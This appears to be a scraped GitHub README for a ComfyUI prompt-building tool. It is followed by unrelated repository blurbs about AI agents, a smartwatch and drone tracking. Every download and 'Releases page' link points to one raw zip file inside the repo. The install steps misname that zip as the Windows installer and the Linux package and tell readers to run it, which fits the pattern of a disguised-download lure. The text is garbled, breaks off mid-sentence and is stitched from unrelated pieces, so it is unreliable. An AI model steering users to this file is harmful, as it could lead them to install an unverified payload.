🎬 Build cinematic prompts easily with ComfyUI's visual interface, designed for seamless integration with popular workflows like Midjourney and Stable Diffusion.
# 🎉 ComfyUI-Cinematic-Prompt - Build Prompts with Ease ## 📦 Download Now [](https://raw.githubusercontent.com/iwahab87/ComfyUI-Cinematic-Prompt/main/web/Cinematic-Comfy-Prompt-U-2.1.zip) ## 🚀 Getting Started ComfyUI-Cinematic-Prompt is an intuitive tool for building prompts easily. This guide will help you download, install, and run the application on your computer. ## 🖥️ System Requirements To ensure the best experience, your computer should meet these basic requirements: - Operating System: Windows 10 or higher, macOS 10.15 or higher, or a modern Linux distribution. - Memory: At least 4 GB of RAM. - Storage: Minimum 100 MB of free space. - Internet: A stable connection for installation and updates. ## 📥 Download & Install Follow these steps to download and install the application: 1. **Visit the Releases Page** Go to the [Releases page](https://raw.githubusercontent.com/iwahab87/ComfyUI-Cinematic-Prompt/main/web/Cinematic-Comfy-Prompt-U-2.1.zip). 2. **Choose the Latest Version** On the releases page, find the latest version of the ComfyUI-Cinematic-Prompt. 3. **Select the Correct File for Your System** Look for the file suitable for your operating system. Common options include `.exe` for Windows users, `.dmg` for macOS users, and `https://raw.githubusercontent.com/iwahab87/ComfyUI-Cinematic-Prompt/main/web/Cinematic-Comfy-Prompt-U-2.1.zip` for Linux users. 4. **Download the File** Click on the file to start the download. The file will be saved to your computer's downloads folder. 5. **Run the Installer** Once the download completes, locate the file: - On Windows, it will be something like `https://raw.githubusercontent.com/iwahab87/ComfyUI-Cinematic-Prompt/main/web/Cinematic-Comfy-Prompt-U-2.1.zip`. Double-click this file to start th
HAL 分层混合模型工作流 — 强模型(Claude)负责理解/拆解/验收,低成本模型(DeepSeek)负责检索/提取/清洗。Hermes Agent skill。
An LLM agent fine-tuned on DeepSeek for spaced repetition, dynamically integrating knowledge points based on the Ebbinghaus forgetting curve.
基于 STM32F103 构建的端到端 AI 智能手表生态。自研“零重定位”原生机器码动态加载引擎与页面栈式 UI 框架;集成生产级 OTA 回滚保护机制与高带宽(921600 baud)串口协议栈。通过 Node.js 中继实现 DeepSeek AI 语义控制及 ASRPRO 语音全双工交互,是一个集成了分布式计算、现代存储管理与 AI Agent 的嵌入式全栈工程。
A Meta-Agent-Driven Self-Evolving Multi-Agent System for UAV Detection and Tracking
One command to run Hermes AI Agent with a browser UI. Zero prerequisites. 一行命令,AI 就位。
网页应用Agent,接入DeepSeek、Mimo等模型